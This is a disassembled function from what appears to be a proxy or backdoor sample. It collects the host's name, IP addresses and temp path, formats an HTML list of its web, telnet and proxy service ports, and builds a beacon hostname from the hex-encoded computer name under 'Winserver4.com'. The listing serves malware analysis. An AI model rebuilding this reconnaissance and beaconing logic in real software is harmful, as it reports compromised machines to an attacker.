Function at 0x403760
Capabilities:
Get common file path
Get hostname
Resolve dns

Disassembly:
sub esp, 0xa6c
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0xa64], eax
movzx eax, word [0x42852c]
push ebx
push ebp
movzx ebp, word [0x42af44]
push esi
push edi
push 0x64
lea ecx, [esp + 0x18c]
push ecx
mov dword [esp + 0x2c], eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x4037a6
xor eax, eax
jmp 0x403a95
lea edx, [esp + 0x188]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
xor edi, edi
cmp eax, edi
je 0x40379f
mov esi, dword [eax + 0xc]
push str._html__r_n
lea edx, [esp + 0x274]
mov dword [esp + 0x20], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], esi
call fcn.00401040
add esp, 4
cmp esi, edi
je 0x40379f
mov edi, dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, esi
nop
mov eax, dword [eax]
test eax, eax
je 0x4039cc
mov eax, dword [eax]
cmp al, 0xa
je 0x4039b8
cmp al, 0x7f
jne 0x403815
mov ecx, eax
shr ecx, 8
test cl, cl
je 0x4039b8
cmp al, 0xa9
jne 0x403827
mov edx, eax
shr edx, 8
cmp dl, 0xfe
je 0x4039b8
cmp al, 0xac
je 0x4039b8
cmp al, 0xc0
je 0x4039b8
push eax
call edi
push eax
lea eax, [esp + 0x3c]
push 0x20
push eax
call fcn.0040cc27
movzx esi, word [esp + 0x30]
add esp, 0xc
push esi
lea ecx, [esp + 0x3c]
push ecx
push str.Web_Service_:_http_b:___s_b:_d_br__r_n
lea edx, [esp + 0x94]
call fcn.00403ad0
add esp, 0xc
lea edx, [esp + 0x88]
push edx
lea eax, [esp + 0x274]
push 0x400
push eax
call fcn.0040cbb3
add esp, 0xc
movzx eax, bp
push eax
lea ecx, [esp + 0x3c]
push ecx
push eax
mov edx, ecx
push edx
push str.Telnet_Service_:_telnet_b:___s_b:_d_br__r_n
lea edx, [esp + 0x9c]
call fcn.00403ad0
add esp, 0x14
lea eax, [esp + 0x88]
push eax
lea ecx, [esp + 0x274]
push 0x400
push ecx
call fcn.0040cbb3
movzx edx, word [esp + 0xa8c]
add esp, 0xc
push edx
push str.LSP_Proxy_Service_TCP_Port_:__d_br__r_n
lea edx, [esp + 0x90]
call fcn.00403ad0
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x27c]
push 0x400
push ecx
call fcn.0040cbb3
movzx edx, word [esp + 0xa98]
add esp, 0x14
push edx
push str.LSP_Proxy_Service_UDP_Port_:__d_br__r_n
lea edx, [esp + 0x90]
call fcn.00403ad0
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x27c]
push 0x400
push ecx
call fcn.0040cbb3
add esp, 0x14
lea edx, [esp + 0x670]
push edx
push 0x400
call ebx
lea eax, [esp + 0x670]
push 0x5c
push eax
call fcn.0040d170
add esp, 8
test eax, eax
je 0x40396a
mov byte [eax], 0x2f
inc eax
push 0x5c
push eax
call fcn.0040d170
add esp, 8
test eax, eax
jne 0x403957
lea ecx, [esp + 0x670]
push ecx
push esi
lea edx, [esp + 0x40]
push edx
mov eax, ecx
push eax
mov ecx, edx
push esi
push ecx
push str.Temporary_Folder_:_http_b:___s_b:_d_Drive__s_br__br__r_n
lea edx, [esp + 0xa4]
call fcn.00403ad0
add esp, 0x1c
lea edx, [esp + 0x88]
push edx
lea eax, [esp + 0x274]
push 0x400
push eax
call fcn.0040cbb3
mov esi, dword [esp + 0x2c]
add esp, 0xc
inc dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
lea eax, [esi + eax*4]
test eax, eax
jne 0x4037f0
cmp dword [esp + 0x14], 0
je 0x40379f
push str.__html__r_n
lea ecx, [esp + 0x274]
push 0x400
push ecx
call fcn.0040cbb3
add esp, 0xc
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x20], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x40379f
xor esi, esi
cmp dword [esp + 0x18], esi
jle 0x403a40
lea edi, [esp + 0x58]
lea ecx, [ecx]
movzx ecx, byte [esp + esi + 0x28]
push ecx
push str._02X
push 3
push edi
call fcn.0040c08b
inc esi
add esp, 0x10
add edi, 2
cmp esi, dword [esp + 0x18]
jl 0x403a20
push str._Winserver4.com
lea edx, [esp + 0x5c]
push 0x2e
push edx
mov byte [esp + esi*2 + 0x64], 0
call fcn.0040cbb3
add esp, 0xc
push str.1.02
lea eax, [esp + 0x2c]
push eax
push str.__s__Winserver4__s
lea edx, [esp + 0x1fc]
call fcn.00403af0
add esp, 0xc
lea ecx, [esp + 0x270]
push ecx
lea edx, [esp + 0x1f4]
push edx
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x34]
call fcn.00403220
mov ecx, dword [esp + 0xa74]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd50
add esp, 0xa6c
ret 8